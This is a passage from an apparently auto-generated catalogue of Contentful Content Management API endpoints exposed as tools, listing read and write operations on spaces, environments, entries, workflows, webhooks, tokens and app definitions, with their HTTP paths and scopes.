/api/v1/contentful/spaces/{space_id}/environments/{environment_id}/semantic/search-index. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_tags (read) — Returns all the tags that exist in a given environment. via GET /spaces/{space_id}/environments/{environment_id}/tags GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/tags. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_tags_by_tag_id (read) — Returns a single tag based on the given identifier. via GET /spaces/{space_id}/environments/{environment_id}/tags/{tag_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/tags/{tag_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_tasks (read) — Returns paginated tasks assigned to you. Requires `filter=myPendingTasks` query parameter. via GET /spaces/{space_id}/environments/{environment_id}/tasks GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/tasks. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_template_installations_by_template_id (read) — Returns all installation objects for a template in the environment, ordered by creation date descending. Each install or update attempt creates a new installation object. via GET /spaces/{space_id}/environments/{environment_id}/template_installations/{template_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_ui_config (read) — This endpoint returns the available UI Config in the current environment. via GET /spaces/{space_id}/environments/{environment_id}/ui_config GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ui_config. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_ui_config_me (read) — Get the User UI Config via GET /spaces/{space_id}/environments/{environment_id}/ui_config/me GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ui_config/me. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_uploads_by_upload_id (read) — Retrieve an upload via GET /spaces/{space_id}/environments/{environment_id}/uploads/{upload_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/uploads/{upload_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflow_definitions (read) — Returns a paginated list of workflow definitions for the environment. Accessible to all users. via GET /spaces/{space_id}/environments/{environment_id}/workflow_definitions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflow_definitions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflow_definitions_by_workflow_definition_id (read) — Returns a single workflow definition by ID. Accessible to all users. via GET /spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflows (read) — Returns workflows matching the specified query filters. Accessible to all users. via GET /spaces/{space_id}/environments/{environment_id}/workflows GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id (read) — Returns a workflow by ID. Accessible to all users. via GET /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id_comments (read) — Returns all comments for a workflow. Filter by `status` query parameter; accessible to any user with read access to workflows. via GET /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/comments GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/comments. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id_versions_by_version_comments (read) — Returns all comments for a specific workflow version. Accessible to any user with read access to workflows. via GET /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/versions/{version}/comments GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/versions/{version}/comments. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_workflows_changelog (read) — Returns workflow changelog records matching the specified filters, sorted by event date descending. Accessible to any user with read access to the specified entry. via GET /spaces/{space_id}/environments/{environment_id}/workflows_changelog GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows_changelog. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_external_environment_id_actions (read) — Get all actions of an environment via GET /spaces/{space_id}/environments/{external_environment_id}/actions GET /api/v1/contentful/spaces/{space_id}/environments/{external_environment_id}/actions. Scopes: content_management_read. contentful_get_spaces_by_space_id_preview_api_keys (read) — Get all Preview API keys via GET /spaces/{space_id}/preview_api_keys GET /api/v1/contentful/spaces/{space_id}/preview_api_keys. Scopes: content_management_read. contentful_get_spaces_by_space_id_preview_api_keys_by_preview_api_key_id (read) — This endpoint returns details about an existing Preview API key. via GET /spaces/{space_id}/preview_api_keys/{preview_api_key_id} GET /api/v1/contentful/spaces/{space_id}/preview_api_keys/{preview_api_key_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_roles (read) — This endpoint returns a paginated list of roles for a given space. Each role contains a name, a description, permissions and policies, which describe what a user can and cannot do. via GET /spaces/{space_id}/roles GET /api/v1/contentful/spaces/{space_id}/roles. Scopes: content_management_read. contentful_get_spaces_by_space_id_roles_by_role_id (read) — Use this endpoint to read an existing single role. via GET /spaces/{space_id}/roles/{role_id} GET /api/v1/contentful/spaces/{space_id}/roles/{role_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_scheduled_actions (read) — Returns scheduled actions for the space, cursor-paginated (default page 100, max 1000). Filter by `environment.sys.id` (required), `entity.sys.id`, `sys.status`, and `scheduledFor.datetime`. via GET /spaces/{space_id}/scheduled_actions GET /api/v1/contentful/spaces/{space_id}/scheduled_actions. Scopes: content_management_read. contentful_get_spaces_by_space_id_scheduled_actions_by_scheduled_action_id (read) — Returns a single scheduled action by ID. via GET /spaces/{space_id}/scheduled_actions/{scheduled_action_id} GET /api/v1/contentful/spaces/{space_id}/scheduled_actions/{scheduled_action_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_space_add_ons (read) — Get space add-ons from a specific space. via GET /spaces/{space_id}/space_add_ons GET /api/v1/contentful/spaces/{space_id}/space_add_ons. Scopes: content_management_read. contentful_get_spaces_by_space_id_space_memberships (read) — This endpoint returns a paginated list of all space memberships. via GET /spaces/{space_id}/space_memberships GET /api/v1/contentful/spaces/{space_id}/space_memberships. Scopes: content_management_read. contentful_get_spaces_by_space_id_space_memberships_by_space_membership_id (read) — This endpoint returns details about an existing space membership. via GET /spaces/{space_id}/space_memberships/{space_membership_id} GET /api/v1/contentful/spaces/{space_id}/space_memberships/{space_membership_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_teams (read) — This endpoint returns a paginated list of all teams with access to a space. via GET /spaces/{space_id}/teams GET /api/v1/contentful/spaces/{space_id}/teams. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhook_definitions (read) — Get all webhooks of a space via GET /spaces/{space_id}/webhook_definitions GET /api/v1/contentful/spaces/{space_id}/webhook_definitions. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhook_definitions_by_webhook_definition_id (read) — Get a webhook via GET /spaces/{space_id}/webhook_definitions/{webhook_definition_id} GET /api/v1/contentful/spaces/{space_id}/webhook_definitions/{webhook_definition_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhook_settings_signing_secret (read) — Get a webhook signing secret via GET /spaces/{space_id}/webhook_settings/signing_secret GET /api/v1/contentful/spaces/{space_id}/webhook_settings/signing_secret. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhooks_by_webhook_id_calls (read) — Get an overview of recent calls via GET /spaces/{space_id}/webhooks/{webhook_id}/calls GET /api/v1/contentful/spaces/{space_id}/webhooks/{webhook_id}/calls. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhooks_by_webhook_id_calls_by_call_id (read) — Get the webhook call details via GET /spaces/{space_id}/webhooks/{webhook_id}/calls/{call_id} GET /api/v1/contentful/spaces/{space_id}/webhooks/{webhook_id}/calls/{call_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_webhooks_by_webhook_id_health (read) — Get webhook health via GET /spaces/{space_id}/webhooks/{webhook_id}/health GET /api/v1/contentful/spaces/{space_id}/webhooks/{webhook_id}/health. Scopes: content_management_read. contentful_get_users_by_user_id_oauth_applications (read) — This endpoint retrieves a list of OAuth applications associated with the current user. via GET /users/{user_id}/oauth_applications GET /api/v1/contentful/users/{user_id}/oauth_applications. Scopes: content_management_read. contentful_get_users_by_user_id_oauth_applications_by_oauth_application_id (read) — This endpoint retrieves details of a specific OAuth application. via GET /users/{user_id}/oauth_applications/{oauth_application_id} GET /api/v1/contentful/users/{user_id}/oauth_applications/{oauth_application_id}. Scopes: content_management_read. contentful_get_users_me (read) — This endpoint returns details about your Contentful user account. via GET /users/me GET /api/v1/contentful/users/me. Scopes: content_management_read. contentful_get_users_me_access_tokens (read) — Returns all CMA tokens (active and revoked) for the current user, across `PersonalAccessToken`, `CLIToken`, and `OAuthApplication` types. Filter by `sys.type`, `sys.expiresAt`, `sys.revokedAt`, `sys.createdAt`, `sys.lastUsedAt`, and `query`. via GET /users/me/access_tokens GET /api/v1/contentful/users/me/access_tokens. Scopes: content_management_read. contentful_get_users_me_access_tokens_by_token_id (read) — This endpoint returns details about an existing CMA token. via GET /users/me/access_tokens/{token_id} GET /api/v1/contentful/users/me/access_tokens/{token_id}. Scopes: content_management_read. contentful_patch_organizations_by_organization_id_ai_providers_by_provider_id (write) — Use this endpoint to update a specific AI provider using [JSON Patch](http://jsonpatch.com/) format. This is useful for updating credentials, configuration, or selected models without replacing the entire provider configuration. via PATCH /organizations/{organization_id}/ai/providers/{provider_id} PATCH /api/v1/contentful/organizations/{organization_id}/ai/providers/{provider_id}. Scopes: content_management_manage. contentful_patch_organizations_by_organization_id_taxonomy_concept_schemes_by_concept_scheme_id (write) — Updates a taxonomy concept scheme using JSON Patch format. Include the current version in `X-Contentful-Version`; operations on unset fields require passing the full sub-object rather than a nested path. via PATCH /organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id} PATCH /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id}. Scopes: content_management_manage. contentful_patch_organizations_by_organization_id_taxonomy_concepts_by_concept_id (write) — Updates a taxonomy concept using JSON Patch format. Include the current version in `X-Contentful-Version`; operations on unset fields require passing the full sub-object rather than a nested path. via PATCH /organizations/{organization_id}/taxonomy/concepts/{concept_id} PATCH /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}. Scopes: content_management_manage. contentful_patch_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id (write) — Updates an entry using JSON Patch format. Include the current version in `X-Contentful-Version`; operations on unset fields require passing the full sub-object. via PATCH /spaces/{space_id}/environments/{environment_id}/entries/{entry_id} PATCH /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}. Scopes: content_management_manage. contentful_patch_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_entries_by_entry_id (write) — Updates a release entry using JSON Patch format. Include the current version in `X-Contentful-Version`; operations on unset fields require passing the full sub-object. via PATCH /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id} PATCH /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id}. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_ai_providers (write) — Use this endpoint to create a new AI Provider of a specified type for an organization. via POST /organizations/{organization_id}/ai/providers POST /api/v1/contentful/organizations/{organization_id}/ai/providers. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_definitions (write) — Create a new app definition via POST /organizations/{organization_id}/app_definitions POST /api/v1/contentful/organizations/{organization_id}/app_definitions. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_definitions_by_app_definition_id_access_grants (write) — Create One Access Grant via POST /organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants POST /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_definitions_by_app_definition_id_actions (write) — Create an action via POST /organizations/{organization_id}/app_definitions/{app_definition_id}/actions POST /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/actions. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_definitions_by_app_definition_id_app_bundles (write) — Create a new app bundle via POST /organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles POST /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_definitions_by_app_definition_id_keys (write) — Create a new app key via POST /organizations/{organization_id}/app_definitions/{app_definition_id}/keys POST /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/keys. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_app_uploads (write) — Create an app upload via POST /organizations/{organization_id}/app_uploads POST /api/v1/contentful/organizations/{organization_id}/app_uploads. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_environment_templates (write) — This action creates an environment template in the organization repository. It implicitly creates a new version for this template. via POST /organizations/{organization_id}/environment_templates POST /api/v1/contentful/organizations/{organization_id}/environment_templates. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_logging_configurations (write) — Creates a logging configuration for the organization. AWS S3 destinations require `bucketName`, `iamArn`, and `region` credentials. via POST /organizations/{organization_id}/logging_configurations POST /api/v1/contentful/organizations/{organization_id}/logging_configurations. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_security_contacts (write) — Post an organization security contacts an admin or owner has access to via POST /organizations/{organization_id}/security_contacts POST /api/v1/contentful/organizations/{organization_id}/security_contacts. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_semantic_search_index (write) — Create a search index via POST /organizations/{organization_id}/semantic/search-index POST /api/v1/contentful/organizations/{organization_id}/semantic/search-index. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_taxonomy_concept_schemes (write) — Create a concept scheme via POST /organizations/{organization_id}/taxonomy/concept-schemes POST /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes. Scopes: content_management_manage. contentful_post_organizations_by_organization_id_taxonomy_concepts (write) — Create a single taxonomy concept. via POST /organizations/{organization_id}/taxonomy/concepts POST /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts. Scopes: content_management_manage. contentful_post_spaces (write) — Create a new space, specifying attributes in the request body. You can optionally pass a `productId` to assign a specific product (from your organization's available licenses) to the new space. via POST /spaces POST /api/v1/contentful/spaces. Scopes: content_management_manage. contentful_post_spaces_by_space_id_ai_actions (write) — Use this endpoint to create a new AI Action for a specified space. via POST /spaces/{space_id}/ai/actions POST /api/v1/contentful/spaces/{space_id}/ai/actions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_api_keys (write) — This endpoint allows you to create a Delivery API key and its corresponding Preview API key. via POST /spaces/{space_id}/api_keys POST /api/v1/contentful/spaces/{space_id}/api_keys. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments (write) — Creates a new environment, optionally cloned from a source environment via `X-Contentful-Source-Environment`. Use a specified ID for automation — auto-generated IDs are not recommended. via POST /spaces/{space_id}/environments POST /api/v1/contentful/spaces/{space_id}/environments. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_ai_actions_by_ai_action_id_invoke (write) — Use this endpoint to invoke an AI Action for a specified space and environment. via POST /spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/invoke POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/invoke. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_definition_id_access_tokens (write) — Issue a token for an app installation in a space environment via POST /spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}/access_tokens POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}/access_tokens. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_definition_id_signed_requests (write) — Create a signed request via POST /spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}/signed_requests POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}/signed_requests. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_actions_by_app_action_id_calls (write) — Trigger an action via POST /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_asset_keys (write) — Creates an asset key used to sign embargoed asset URLs for secure delivery. Specify an `expiresAt` Unix timestamp (maximum 48 hours ahead) to control key validity. via POST /spaces/{space_id}/environments/{environment_id}/asset_keys POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/asset_keys. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_assets (write) — When using this endpoint, an ID will be automatically generated for the created asset and returned with the response. via POST /spaces/{space_id}/environments/{environment_id}/assets POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_automation_definitions (write) — Create an automation definition via POST /spaces/{space_id}/environments/{environment_id}/automation_definitions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_actions (write) — Create a locale-based bulk action via POST /spaces/{space_id}/environments/{environment_id}/bulk_actions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_actions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_actions_publish (write) — Publishes all content linked in the payload. Requires publish permissions on each item; limited by the number of active bulk actions. via POST /spaces/{space_id}/environments/{environment_id}/bulk_actions/publish POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_actions/publish. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_actions_unpublish (write) — Unpublishes all content linked in the payload. Requires unpublish permissions on each item; limited by the number of active bulk actions. via POST /spaces/{space_id}/environments/{environment_id}/bulk_actions/unpublish POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_actions/unpublish. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_actions_validate (write) — Validates entities before publishing. Requires publish permissions on each entity; limited by the number of active bulk actions. via POST /spaces/{space_id}/environments/{environment_id}/bulk_actions/validate POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_actions/validate. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_operations_entries_create (write) — Creates a bulk operation from a previous upload, processing entries asynchronously. Omit `sys.id` for auto-generated IDs; existing IDs will fail with `EntryExistsError`. via POST /spaces/{space_id}/environments/{environment_id}/bulk_operations/entries/create POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_operations/entries/create. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_bulk_operations_entries_export (write) — Creates an async export operation for entries matching an optional `query` (max 10,000 entries). Poll the bulk operation endpoint until `sys.status` is `completed`, then download from `result.files`. via POST /spaces/{space_id}/environments/{environment_id}/bulk_operations/entries/export POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_operations/entries/export. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_content_types (write) — Creates a content type with an auto-generated ID. Prefer the PUT method to control the content type ID, since IDs are often referenced in code. via POST /spaces/{space_id}/environments/{environment_id}/content_types POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_entries (write) — Creates a new entry with an auto-generated ID; pass the desired content type in `X-Contentful-Content-Type`. New entries are created as drafts and must be published to appear on the CDA. via POST /spaces/{space_id}/environments/{environment_id}/entries POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_comments (write) — Creates a comment on an entry with an auto-generated ID; limit is 100 comments per entry. Use `X-Contentful-Parent-Id` to reply to a specific comment. via POST /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_tasks (write) — Creates a task on an entry with an auto-generated ID; limit is 100 tasks per entry. Email notifications are sent to the assignee (and team members if assigned to a team). via POST /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_extensions (write) — Create an extension via POST /spaces/{space_id}/environments/{environment_id}/extensions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/extensions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_locales (write) — Use this endpoint to create a new locale for the specified space. You cannot create two locales with the same locale code. via POST /spaces/{space_id}/environments/{environment_id}/locales POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/locales. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_releases (write) — Creates a new release with an auto-generated ID. via POST /spaces/{space_id}/environments/{environment_id}/releases POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_assets (write) — Creates a new asset and adds it to the release in one step. An ID is auto-generated and returned with the response. via POST /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_entries (write) — Use this endpoint to create a new entry and add it to the release in one step. via POST /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_validate (write) — Asynchronously validates a release for publishing or unpublishing. Only one validation at a time is allowed per release. via POST /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/validate POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/validate. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_semantic_duplicates (write) — This endpoint detects potential duplicate entries based on semantic similarity. via POST /spaces/{space_id}/environments/{environment_id}/semantic/duplicates POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/semantic/duplicates. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_semantic_recommendations (write) — This endpoint allows to semantically find similar entries based on the provided entry IDs. via POST /spaces/{space_id}/environments/{environment_id}/semantic/recommendations POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/semantic/recommendations. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_semantic_reference_suggestions (write) — This endpoint returns suggested entries that you can reference in a given field based on semantic relevance. via POST /spaces/{space_id}/environments/{environment_id}/semantic/reference-suggestions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/semantic/reference-suggestions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_semantic_search (write) — This endpoint allows to perform a semantic search for a given query. via POST /spaces/{space_id}/environments/{environment_id}/semantic/search POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/semantic/search. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_template_installations_by_template_id_versions (write) — Installs a template version in the environment, creating a new installation object on success. Defaults to the latest version if no version is specified. via POST /spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/versions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/template_installations/{template_id}/versions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_workflow_definitions (write) — Creates a new workflow definition. Only org or space admins can create workflow definitions. via POST /spaces/{space_id}/environments/{environment_id}/workflow_definitions POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflow_definitions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_workflows (write) — Creates a workflow for an entry. Any user with read access to the entry can create a workflow. via POST /spaces/{space_id}/environments/{environment_id}/workflows POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows. Scopes: content_management_manage. contentful_post_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id_versions_by_version_comments (write) — Creates a comment for a specific workflow version; only one comment per version is supported. Accessible to any user with read access to workflows. via POST /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/versions/{version}/comments POST /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}/versions/{version}/comments. Scopes: content_management_manage. contentful_post_spaces_by_space_id_roles (write) — Use this endpoint to create a custom role. The role name must be unique within the space. via POST /spaces/{space_id}/roles POST /api/v1/contentful/spaces/{space_id}/roles. Scopes: content_management_manage. contentful_post_spaces_by_space_id_scheduled_actions (write) — Creates a scheduled action with an auto-generated ID. Limit is 200 pending scheduled actions per environment; `scheduledFor.datetime` must be a future ISO 8601 timestamp. via POST /spaces/{space_id}/scheduled_actions POST /api/v1/contentful/spaces/{space_id}/scheduled_actions. Scopes: content_management_manage. contentful_post_spaces_by_space_id_space_memberships (write) — Use this endpoint to create a space membership (or invite a user to a space). A user can and must be flagged as 'admin' or assigned to certain roles. via POST /spaces/{space_id}/space_memberships POST /api/v1/contentful/spaces/{space_id}/space_memberships. Scopes: content_management_manage. contentful_post_spaces_by_space_id_unarchive (write) — Unarchive a space to make it active again. Pass a `productId` in the request body to assign a product license to the space upon unarchiving. via POST /spaces/{space_id}/unarchive POST /api/v1/contentful/spaces/{space_id}/unarchive. Scopes: content_management_manage. contentful_post_spaces_by_space_id_webhook_definitions (write) — Create a webhook via POST /spaces/{space_id}/webhook_definitions POST /api/v1/contentful/spaces/{space_id}/webhook_definitions. Scopes: content_management_manage. contentful_post_users_by_user_id_oauth_applications (write) — This endpoint creates a new OAuth application. via POST /users/{user_id}/oauth_applications POST /api/v1/contentful/users/{user_id}/oauth_applications. Scopes: content_management_manage. contentful_post_users_me_access_tokens (write) — Creates a Personal Access Token with the specified scopes (`content_management_read` or `content_management_manage`). The token value is only returned once — copy and store it securely. via POST /users/me/access_tokens POST /api/v1/contentful/users/me/access_tokens. Scopes: content_management_manage. contentful_put_organizations_by_organization_id (write) — Put an organization id an admin or owner has access to via PUT /organizations/{organization_id} PUT /api/v1/contentful/organizations/{organization_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id (write) — Update an app definition via PUT /organizations/{organization_id}/app_definitions/{app_definition_id} PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_actions_by_app_action_id (write) — Update an action via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id} PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_details (write) — Create or update app details via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/details PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/details. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_event_subscription (write) — Update or subscribe to events via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider (write) — Creates a resource provider for an app; each app can have only one. The `function.sys.id` in the request must match `functions[0].id` in the app's manifest. via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider_resource_types_by_resource_type_id (write) — Creates or updates a resource type for an app's resource provider. Requires the app to have an associated resource provider — PUT fails without one. via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id} PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_app_definitions_by_app_definition_id_signing_secret (write) — Create or overwrite the app signing secret via PUT /organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret PUT /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_enablements (write) — Enables or changes features for an organization. Include `X-Contentful-Version` (use `1` if no document exists yet). via PUT /organizations/{organization_id}/enablements PUT /api/v1/contentful/organizations/{organization_id}/enablements. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_environment_templates_by_template_id (write) — Updates an environment template and implicitly creates a new version. Include `X-Contentful-Version` to lock against concurrent edits. via PUT /organizations/{organization_id}/environment_templates/{template_id} PUT /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}. Scopes: content_management_manage. contentful_put_organizations_by_organization_id_logging_configurations_by_configuration_id_credentials (write) — Replaces credentials for an existing logging 